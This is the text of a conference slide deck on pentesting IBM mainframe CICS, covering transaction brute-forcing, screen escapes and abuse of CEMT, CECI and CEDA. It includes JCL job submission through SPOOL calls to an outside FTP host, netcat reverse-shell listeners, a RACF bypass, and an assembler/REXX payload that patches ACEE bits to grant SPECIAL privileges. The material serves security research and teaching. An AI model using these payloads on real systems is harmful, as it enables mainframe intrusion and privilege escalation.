Breaking the fourth wall

Hacking Customer Information Control System

Ayoub ELAASSAL
ayoub.elaassal@wavestone.com
@ayouI3__
What people think of when I talk about mainframes
The reality: IBM zEC 13 technical specs:

- 10 TB of RAM
- 141 processors, 5 GHz
- Dedicated processors for JAVA, XML and UNIX
- Cryptographic chips...

Badass Badass Badass !!

So what...who uses those anymore?
YOU ARE ACCESSING A U.S. GOVERNMENT (USG) INFORMATION SYSTEM (IS)
THAT IS PROVIDED FOR USG-AUTHORIZED USE ONLY!

By using this IS (which includes any device attached to this IS), you consent to
the following conditions:

⇒ The USG routinely intercepts and monitors communications on this IS for pur-
poses including, but not limited to, penetration testing, COMSEC monitoring,
network operations and defense, personnel misconduct (PM), law enforcement (LE)
and counterintelligence (CI) investigations.
⇒ At any time, the USG may inspect and seize data stored on this IS.
⇒ Communications using, or data stored on this IS are not private, are subject
to routine monitoring, interception, and search, and may be disclosed or used
for any USG-authorised purpose.
⇒ This IS includes security measures (eg, authentication and access controls)
to protect USG interests - not for your personal benefit or privacy.
⇒ Notwithstanding the above, using this IS does not constitute consent to PM,
LE or CI investigative searching or monitoring of the content of privileged
communications, or work product, related to personal representation or services
by attorneys, psychotherapists, or clergy and their assistants.
Such communications and work product are private and confidential.

Enter Y below to continue using this IS or N to terminate this connection:

19:15:32
06/05/16

USRS1030
<table>
<thead>
<tr>
<th>TAO</th>
<th>&lt;---- EMAIL/CALENDARS.</th>
<th>CICS3</th>
<th>&lt;---- AIMI PROD ONLINE.</th>
</tr>
</thead>
<tbody>
<tr>
<td>TSO</td>
<td>&lt;---- MVS TSO.</td>
<td>CICS4</td>
<td>&lt;---- AIMI TEST ONLINE.</td>
</tr>
</tbody>
</table>

https://mainframesproject.tumblr.com
About me

Pentester at Wavestone, mainly hacking Windows and Unix stuff

First got my hands on a mainframe in 2014...Hooked ever since

When not hacking stuff: Metal and wine

github.com/ayoul3
ayoul3__
This talk

Demystifying mainframes

Customer Information Control System (CICS)

Hacking CICS

Post exploit tools
Ok let’s get down to business…pentest this

SAMPLE APPLICATION FORM

APPLICATION NO: _______

| READ DETAILED INSTRUCTIONS GIVEN SEPARATELY |
| BEFORE FILLING THE APPLICATION FORM. |

NAME OF THE APPLICANT: ____________________________
FIRSTNAME  MIDDLE  LAST-NAME

DATE OF BIRTH: ___ / ___ / ___

RESIDENTIAL ADDRESS: __________________________________________

EDUCATIONAL DETAILS

<table>
<thead>
<tr>
<th>QUALIFICATION</th>
<th>UNIVERSITY</th>
<th>YEAR</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
This is what we know so far

Obviously this is no web app

It is accessed using a 3270 emulator on port 23 (telnet)

And we have absolutely no idea how it works
Then there was CICS...

*Customer Information Control System*

CICS is a combination Drupal and Apache Tomcat...before it was cool (*around 1968*)

Current version is CICS TS 5.4
API in COBOL/C/Java

Handles cache, concurrence access, etc.

Uniform rendering of the screen

Easily thousands of request/sec
Order the following by requests/second

Google search

CICS

Facebook like

Twitter tweet

Youtube views
Requests per second around the world

- Youtube views
- Facebook posts
- Google search
- Twitter tweets

@ayoul3__
Signon to CICS

WELCOME TO CICS TS 3.2

Type your userid and password, then press ENTER:

    Userid . . . [mask] Groupid . . . [mask]
    Language : . : . :
    New Password . . .

DFHCE3520 Please type your userid.
F3=Exit
INQMAP1  Customer Inquiry

Type a customer number. Then press Enter.

Customer number. . . . . . 400000

Name and address . . . . : DENLLI
NEREA
834 NJD RD
DENVILLE  IL 07444

F3=Exit  F12=Cancel
CICS flow

VTAM
EURO

GMTRAN = CESN

INQ1

RACF

User & Password
OK

TRAN ID | PROGRAM
---|---
CESN | DFHSNP
INQ1 | EUROINQ1

PROGRAM | LOCATION
---|---
DFHSNP | DFH320.SDFHLOAD (DFHSNP)
EUROINQ1 | DFH320.SDFHLOAD (EUROINQ1)

PCT
CICS region (EURO)
PPT
CICS flow

VTAM EURO

GMTRAN = CESN

INQ1

EXEC CICS READ FILE(EUROCLI)
END-EXEC

FILE | LOCATION | LOAD
---|----------|---
EUROCLI | AYOUB.KICKS.MURACH.EUROCLI | 0

FCT

CICS region (EURO)
Now that we are CICS experts
Let’s break this ****
Jail break

Find the right combination of keys to interrupt the normal flow of an App and get back to the CICS terminal

It is the equivalent of finding the admin panel on a URL...

It can be done by pressing PF3 on the logon panel, RESET button, or PF12 on some menu, etc.
AMSTERDAM BABY !!

HITB SECCONF 2017

ASSET MGMT => EURO <=

TOOLS => TSO <=
DFHCE3543 You have cancelled your sign-on request. Sign-on is terminated.
We can enter any transaction ID..now what?

The ID is 4 digits....we can easily bruteforce it:

- **Mainframe_brute:**
  https://github.com/sensepost/mainframe_brute

- **Nmap scripts:**
  https://github.com/zedsec390/NMAP/blob/master/cics-enum.nse

- **CICSShot:**
  https://github.com/ayoul3/cicsshot

@ayoul3__
Default transactions

CESN (Login transaction)

CEMT (Master terminal console)

CECI (Live interpreter debugger)

CEDA (Online Resource Definition program)

CEDB (Offline Resource Definition program)
CEMT

STATUS: ENTER ONE OF THE FOLLOWING

Discard
Inquire
Perform
Set

SYSID=S650 APPLID=CICSTS32

PF 1 HELP   3 END   5 VAR   9 MSG
| Status: Enter one of the following or hit enter for default |

- AUTInstmodel
- AUTOinstall
- AUXtrace
- Beam
- BRfacility
- CFdtpool
- CLasscache
- CONnection
- CORbaserver
- DB2Conn
- DB2Entry
- DB2Tran
- DEleteshipped
- DISPATCHer
- DJar
- DDocTemplate
- DSAS
- Journalname
- JVM
- JVMPool
- LIBrary
- LINe
- MODename
- MONitor
- Netname
- PArtner
- PIPEline
- PROCess
- PROFILE
- PROG
- PROfile
- PROgram
- PROfile
- REquestmodel
- RRC
- STAtistics
- STReamname
- SYSDumpcode
- TClass
- TCPIP
- TCPIPService
- TDqueue
- TSMoodel
- TSQueue
- UOW
- UOWDsnfail
- UOWLink
- URimap
- Vtam
- WEB
- WEBServiice
- WOrkrequest

SYSID=S650 APPLID=CICSTS32
DFHCE3543 You have cancelled your sign-on request. Sign-on is terminated.
STATUS: RESULTS - OVERTYPE TO MODIFY

Aging( 00500 )      Progautoctlg( Ctlgmodify )
Akp( 04000 )        Progautoexit( DFHPGADX )
Cicstslevel(030200 ) Progautoinst( Autoinactive )
Cmdprotect(Cmdprot)  Reentprotect(Reentprot)
Db2conn()           Release(0650)
Debugtool( Nodebug ) Runaway( 0020000 )
Dfltuser(CICSUSER)   Scandelay( 0100 )
Dsalimit( 07340032 ) Sdtran(CESD)
Dsrtprogram( NONE )  Sosabovebar(Notsos)
Dtrprogram( DFHDYP ) Sosaboveline(Notsos)
Dumping( Sysdump )   Sosbelowline(Notsos)
Edsalimit( 0104857600 ) Storeprotect(Inactive)
Forceqr( Noforce )   Time( 00010000 )
Logdefer( 00005 )    Tranisolate(Inactive)
Maxtasks( 020 )      
Memlimit(Nolimit)    
Mrobatch( 001 )      
Oslevel(011000)      

RESPONSE: NORMAL

SYSID=S650 APPLID=CICSTS32
TIME: 16.56.43 DATE: 10.15.16
PF 1 HELP  3 END  5 VAR  7 SBH  8 SFH  9 MSG  10 SB  11 SF
I TASK

STATUS: RESULTS - OVERTYPE TO MODIFY

Tas(00000083) Tra(CEDA) Fac(L704) Sus Ter Pri(001)
    Sta(TO) Use(CICSUSER) Uow(D17FCFE708A22001) Hty(ZCIOWAIT)
Tas(00000089) Tra(CEMT) Fac(L703) Run Ter Pri(255)
    Sta(TO) Use(AYOU1B) Uow(D17FD064CB557080)

RESPONSE: NORMAL

PF 1 HELP  3 END  5 VAR  7 SBH  8 SFH  9 MSG  10 SB  11 SF

SYSID=S650 APPLID=CICSTS32
TIME: 16.58.14 DATE: 10.15.16
File Options

I FILE

STATUS: RESULTS - OVERTYPE TO MODIFY
Fil(EUROCLI) Vsa Clo Dis Rea Sha
  Dsn( AYOUB.KICKS.MURACH.EUROCLI )
Fil(DFHCSD) Vsa Ope Ena Rea Upd Add Bro Del Sha
  Dsn( DFH320.DFHCSD )
Fil(DFHDBFK) Vsa Clo Ena Rea Upd Add Bro Del Sha
Fil(DFHLRQ) Vsa Ope Ena Rea Upd Add Bro Del Sha
  Dsn( DFH320.CICS.DFHLRQ )
Fil(FILEA) Vsa Clo Ena Rea Upd Add Bro Del Sha
  Dsn( CICS650.FILEA )

HLQ REST

RESPONSE: NORMAL
TIME: 17.31.33 DATE: 10.15.16
PF 1 HELP 3 END 5 VAR 7 SBH 8 SFH 9 MSG 10 SB 11 SF

SYSSID=S650 APPLID=CICSTS32
RESULT - OVERTYPE TO MODIFY
File(CUSTMAS)

+ Exclstatus( )
 Disposition( Share )
 Rlsaccess( Notrls )
 Emptystatus( Noemptyreq )
 Dsname( AYOUB.KICKS.MURACH.EUROCLI )
 Table( Notable )
 Loadtype( Noload )
 Cfdpool( )
 Tablename( )
 Updatemodel( Locking )
 Maxnumrecs( 00000000 )
 Keylength( 006 )
 Recordsize( 00118 )
 Rbatype(Notextended)
P SHUT
STATUS: ENTER ONE OF THE FOLLOWING

CLasscache
CDorbaserver
DEleteshipped
DJar
DUmp
Endaffinity
Jvmpool
Pipeline
Reset
SEcurity
SHUTdown
SNap
STatistics

SYSID=S650 APPLID=CICSTS32

PF 1 HELP 3 END 5 VAR 9 MSG
CEMT

Get some useful information about the system:

- List temporary storage queues
- List DB2 connections
- List webservices
- Scrap userids in menus

Uninstall programs, files, webservices, db2connections, etc.
CECI

It executes CICS API commands...that’s it really :-)
Remember the CICS APIs?

VIEW CICS.CUSTINTQ1

* 1200-EDIT-CUSTOMER-DATA.
  * IF CUSTNOL = ZERO
  OR CUSTNOI = SPACE
  MOVE 'N' TO VALID-DATA-SW
  MOVE 'You must enter a customer number.' TO MESSAGEO
  END-IF.
* 1300-GET-CUSTOMER-RECORD.
  * EXEC CICS
    READ FILE('EUROCLI')
    INTO(CUSTOMER-MASTER-RECORD)
    RIDFLD(CUSTNOI)
    RESP(RESPONSE-CODE)
  END-EXEC.
  * IF RESPONSE-CODE = DFHRESP(NORMAL)
    MOVE SPACE TO MESSAGEO
    MOVE CM-LAST-NAME TO LNAMEO
    MOVE CM-FIRST-NAME TO FNAMEO
CECI
READ FILE('EUROCLI') RID(0) GTE
STATUS: COMMAND EXECUTION COMPLETE
EXEC CICS READ
  File('EUROCLI')
  <SYsid()>
  (SET() | Into('400001ETHAN' EBALD '...'))
  <Length(+00118)>
  RIDfId('0')
  <Keylength() <GEneric>>
  <RBA | Xrba | RRn | DEBRec | DEBKey>
  <GTEq | Equal>
  <UNcommitted | Consistent | REpeatable | UPdate <Token()>>
  <Nosuspend>

RESPONSE: NORMAL  EIBRESP=+00000000000  EIBRESP2=+00000000000
PF 1 HELP 2 HEX 3 END 4 EIB 5 VAR 6 USER 7 SBH 8 SFH 9 MSG 10 SB 11 SF
Ceci
root@Kali:~/cics
This is all nice but can we own the mainframe?
CICS has a nice feature called Spool functions

A spool is basically a normal dataset (or file) containing the output of a JOB (program)

Using Spool functions we can generate a dataset and send it directly to JES (Job scheduler)…which will execute it!
The theory
The theory
The theory
EXEC CICS SPOOL Open Output
Token( 'S0000003' )
Userid( 'INTRDR' )
Node( 'LOCAL' )
Class()
Outdescr()
NOCC | ASA | MCC
PRINT < Recordlength() > | PUNCH

RESPONSE: NORMAL
EIBRESP=+0000000000
EIBRESP2=+0000000000
PF 1 HELP 2 HEX 3 END 4 EIB 5 VAR 6 USER 7 SBH 8 SFH 9 MSG 10 SB 11 SF
VARIABLES          LENGTH     DATA
&TOK              +000008    S0000003
&DATA3            +000080    //JOBNAME JOB (INTRDR),CLASS=A
&DATA4            +000080    /*
&DATA5            +000080    //STEP01 EXEC
&DATA6            +000080    //OUTPUT DD SYSOUT=A
&DATA7            +000080    //INPUT DD *
&DATA8            +000080    AYOUL3
&DATA9            +000080    PASSWORD
&DATA10           +000080    DIR
&DATA11           +000080    /*
&DATA12           +000080    */EOF

PGM=FTP, PARM='192.168.1.18'

PF 1 HELP 2 HEX 3 END 4 EIB 5 VAR 6 USER 9 MSG
SPOOLWRITE TOKEN(&TOK) FROM(&DATA1)

EXEC CICS SPOOLWrite
Token('S0000003')
FROM('//JOBNAME JOB (INTRDR),CLASS=A ...
< FLength(+000000080) >
< Line | Page >

RESPONSE: NORMAL
EIBRESP=+0000000000 EIBRESP2=+000000000000
PF 1 HELP 2 HEX 3 END 4 EIB 5 VAR 6 USER 7 SBH 8 SFH 9 MSG 10 SB 11 SF
EXEC  CICS  SPOOLClose
Token( 'S0000003' )
< Keep | Delete >
Hurray!

@ayoul3__
Let’s automate this to do some 3l33t3 stuff

@ayouI3__
A nice reverse shell

Allocation of a dataset

Reverse shell in REXX

Execution of the dataset
Kicker #1

Shell payloads included in CICSPwn:

• reverse_tso/direct_tso: shell in the TSO environment

• reverse_unix/direct_unix: shell in the UNIX environment

• ftp: connects to an FTP server and pushes/gets files

• reverse_rexx/direct_rexx: execute rexx script directly in memory

Custom JCL: executes your own JCL
The JOB is executed with the userid launching CICS (START2) regardless of the user submitting it.

```
root@kali:~# nc -l -p 443
TSO > LU
USER=START2  NAME=UNKNOWN  OWNER=SYS1  CREATED=02.314
DEFAULT-GROUP=SYS1  PASSDATE=N/A  PASS-INTERVAL=N/A  PHRASEDATE=N/A
ATTRIBUTES=PROTECTED
REVOKE DATE=NONE  RESUME DATE=NONE
LAST-ACCESS=16.290/15:51:52
CLASS AUTHORIZATIONS=NONE
NO-INSTALLATION-DATA
NO-MODEL-NAME
LOGON ALLOWED  (DAYS)  (TIME)
---------------------------------  ----------------------------------
ANYDAY  ANYTIME
GROUP=SYS1  AUTH=USE  CONNECT-OWNER=SYS1  CONNECT-DATE=02.314
```
<table>
<thead>
<tr>
<th>NP</th>
<th>JOBNAME</th>
<th>JobID</th>
<th>Owner</th>
<th>Prty</th>
<th>Queue</th>
<th>C</th>
<th>Pos</th>
<th>SAff</th>
<th>ASys</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>CICSUSBEC</td>
<td>JOB02998</td>
<td>START2</td>
<td>9</td>
<td>EXECUTION</td>
<td></td>
<td></td>
<td>DUZA</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>IBMUSER</td>
<td>TSU03017</td>
<td>IBMUSER</td>
<td>15</td>
<td>EXECUTION</td>
<td></td>
<td></td>
<td>DUZA</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>SYSLOG</td>
<td>STC02801</td>
<td>+MASTER+</td>
<td>15</td>
<td>EXECUTION</td>
<td></td>
<td></td>
<td>DUZA</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>INIT</td>
<td>STC02802</td>
<td>START2</td>
<td>15</td>
<td>EXECUTION</td>
<td></td>
<td></td>
<td>DUZA</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>RACF</td>
<td>STC02803</td>
<td>START2</td>
<td>15</td>
<td>EXECUTION</td>
<td></td>
<td></td>
<td>DUZA</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>INIT</td>
<td>STC02804</td>
<td>START2</td>
<td>15</td>
<td>EXECUTION</td>
<td></td>
<td></td>
<td>DUZA</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>INIT</td>
<td>STC02805</td>
<td>START2</td>
<td>15</td>
<td>EXECUTION</td>
<td></td>
<td></td>
<td>DUZA</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>INIT</td>
<td>STC02806</td>
<td>START2</td>
<td>15</td>
<td>EXECUTION</td>
<td></td>
<td></td>
<td>DUZA</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>INIT</td>
<td>STC02807</td>
<td>START2</td>
<td>15</td>
<td>EXECUTION</td>
<td></td>
<td></td>
<td>DUZA</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>INIT</td>
<td>STC02808</td>
<td>START2</td>
<td>15</td>
<td>EXECUTION</td>
<td></td>
<td></td>
<td>DUZA</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>INIT</td>
<td>STC02809</td>
<td>START2</td>
<td>15</td>
<td>EXECUTION</td>
<td></td>
<td></td>
<td>DUZA</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>INIT</td>
<td>STC02810</td>
<td>START2</td>
<td>15</td>
<td>EXECUTION</td>
<td></td>
<td></td>
<td>DUZA</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>INIT</td>
<td>STC02811</td>
<td>START2</td>
<td>15</td>
<td>EXECUTION</td>
<td></td>
<td></td>
<td>DUZA</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>INIT</td>
<td>STC02812</td>
<td>START2</td>
<td>15</td>
<td>EXECUTION</td>
<td></td>
<td></td>
<td>DUZA</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>BPXAS</td>
<td>STC02834</td>
<td>START2</td>
<td>15</td>
<td>EXECUTION</td>
<td></td>
<td></td>
<td>DUZA</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>BPXAS</td>
<td>STC02835</td>
<td>START2</td>
<td>15</td>
<td>EXECUTION</td>
<td></td>
<td></td>
<td>DUZA</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>RMF</td>
<td>STC02837</td>
<td>START2</td>
<td>15</td>
<td>EXECUTION</td>
<td></td>
<td></td>
<td>DUZA</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>NET</td>
<td>STC02838</td>
<td>START2</td>
<td>15</td>
<td>EXECUTION</td>
<td></td>
<td></td>
<td>DUZA</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>RMFGAT</td>
<td>STC02839</td>
<td>START2</td>
<td>15</td>
<td>EXECUTION</td>
<td></td>
<td></td>
<td>DUZA</td>
<td></td>
<td>ARMELEM</td>
</tr>
</tbody>
</table>

**COMMAND INPUT**: `===>`
What if it were NODE(WASHDC) or NODE(REMOTESYS)

... 

Yes execution on another mainframe :-)

Kicker #3
A few problems though...

• Spool option turned off (Spool=NO)
• CECI not available
Spool=NO

Use Transient Data Queues instead

TDQ are handles towards files not defined in CICS

Some files are more special than others
VIEW   ACD.C.Z110S.PROCLIB(CICSTS32) - 01.02

000072 //CICS EXEC PGM=DFHSIP,REGION=&REG,TIME=1440,
000073 // COND=(1,NE,CICSCNTL),
000074 // PARM='START=&START,SYSIN'
000075 /**
000076 /** THE CAVM DATASETS - XRF
000077 /**
000078 /** THE "FILEA" APPLICATIONS SAMPLE VSAM FILE
000079 /** (THE FILEA DD STATEMENT BELOW WILL
000080 /** OVERRIDE THE CSD DEFINITION IN GROUP DFHMROFD)
000081 //FILEA DD DISP=SHR,
000082 // DSN=&INDEX1..CICS&REGNAM..FILEA
000083 /**
000084 //INREADER DD SYSOUT=(A,INTRDR)
000085 //SYSIN DD DISP=SHR,
000086 // DSN=&INDEX1..SYSIN(DFH$SIP&SIP)
000087 //DFHCMACD DD DSN=DFH320,DFHCMACD,DISP=SHR
000088 //******************** THE CICS STEPLIB CONCATENATION
000090 //******************** If Language Environment is required, the SCEERUN2
000091 //******************** and SCEERUN datasets is needed in STEPLIB or LNKLST
000092 //********************
root@Kali:~/cics

root@Kali:~/cics#
One down

- Spool option turned off
  \(\text{Spool} = \text{NO}\)

- CECI not available
CECI not available

DFHAC2002 10/22/2016 16:30:43 CICSTS32 To use this transaction CECI you must sign on or have the right security level.
CECI RACF rule

To forbid CECI for instance RACF admins define the following rule:

```
RDEFINE TCICSTRN CECI UACC(NONE)
```
CEDA to the rescue

CEDA is an IBM utility to manage resources on CICS
  - map files to their real locations
  - set temporary storage files
  - define/alter resources

It is way less protected than CECI

The idea is to copy CECI to a new transaction name always made available by RACF:
  - Logon transaction
  - Printing transaction
  - Paging transaction...
If you have access to CEDA you can bypass any RACF rule

Use --bypass on CICSPwn ;)

@ayou13__
root@kali:~ # nc -l -p 443
On the mainframe...now what?
There are three main privilege attributes on RACF:

- **Special**: access any system resource
- **Operations**: access (almost) any data resource
- **Audit**: access audit trails and manage log mechanisms
Security context in memory

Address space privileges are stored in a memory structure called ACEE (accessor environment element)

<table>
<thead>
<tr>
<th>BITSTRING</th>
<th>ACEEFLG1</th>
<th>USER FLAGS</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>ACEESPEC</td>
<td>1 - SPECIAL ATTRIBUTE</td>
</tr>
<tr>
<td></td>
<td>ACEEADSP</td>
<td>1 - AUTOMATIC DATA SECURITY PROTECTION</td>
</tr>
<tr>
<td></td>
<td>ACEEOPER</td>
<td>1 - OPERATIONS ATTRIBUTE</td>
</tr>
<tr>
<td></td>
<td>ACEEAUDT</td>
<td>1 - AUDITOR ATTRIBUTE</td>
</tr>
<tr>
<td></td>
<td>ACEELOGU</td>
<td>1 - USER IS TO HAVE MOST RACF FUNCTIONS LOGGED</td>
</tr>
</tbody>
</table>
Authorized Program Facility (APF)

APF libraries are extensions of the zOS kernel.

Any program present in an APF library can request kernel privileges (authorized mode).

Obviously...these libraries are very well protected! (irony)
Steps to exploit this

Write an ASM program to patch the current security context
- Locate the ACEE structure in memory
- Patch the privilege bits in memory

Compile and link the program with the Authorized state

Copy it to an APF library

Run it and enjoy SPECIAL privileges
VIEW

ELV.APF

QUEUE " AMODE 31"
QUEUE " STM 14,12,12(13)"
QUEUE " BALR 12,0"
QUEUE " USING *,12"
QUEUE " ST 13,SAVE+4"
QUEUE " LA 13,SAVE"
QUEUE "*"
QUEUE " MODESET KEY=ZERO,MODE=SUP"
QUEUE " L 5,X'224'
QUEUE " L 5,X'6C'(5)
QUEUE " L 5,X'C8'(5)
QUEUE " NI X'26'(5),X'00'"
QUEUE " DI X'26'(5),X'B1'
QUEUE " NI X'27'(5),X'00'"
QUEUE " DI X'27'(5),X'80'
QUEUE "*"
QUEUE " L 13,SAVE+4"
QUEUE " LM 14,12,12(13)"
QUEUE " XR 15,15"
QUEUE " BR 14"
QUEUE "*"
QUEUE " SAVE DS 18F"
QUEUE " END"
QUEUE "/*
QUEUE "/L.SYSLMOD DD DISP=SHR,DSN="||APF_DSN||""
QUEUE "/L.SYSIN DD *"
QUEUE " SETCODE AC(1)"
QUEUE " NAME "||PROG||"(R)"
QUEUE "/*
QUEUE "/STEP01 EXEC PGM="||PROG||",COND=(0,NE)"
QUEUE "/STEPLIB DD DSN="||APF_DSN||",DISP=SHR"
QUEUE "/STEP02 EXEC PGM=IKJEFT01,COND=(0,NE)"
QUEUE "/SYSTIN DD *"
QUEUE " ALU "||userid||" SPECIAL OPERATIONS"
QUEUE "/*"
Mainframed@767
BigEndianSmalls
Mark Wilson & RSM Partners
Henri Kuiper
Stu Henderson
CBT TAPE
IBM
BRACE YOURSELVES

QUESTIONS ARE COMING

github.com/ayoul3

ayoul3__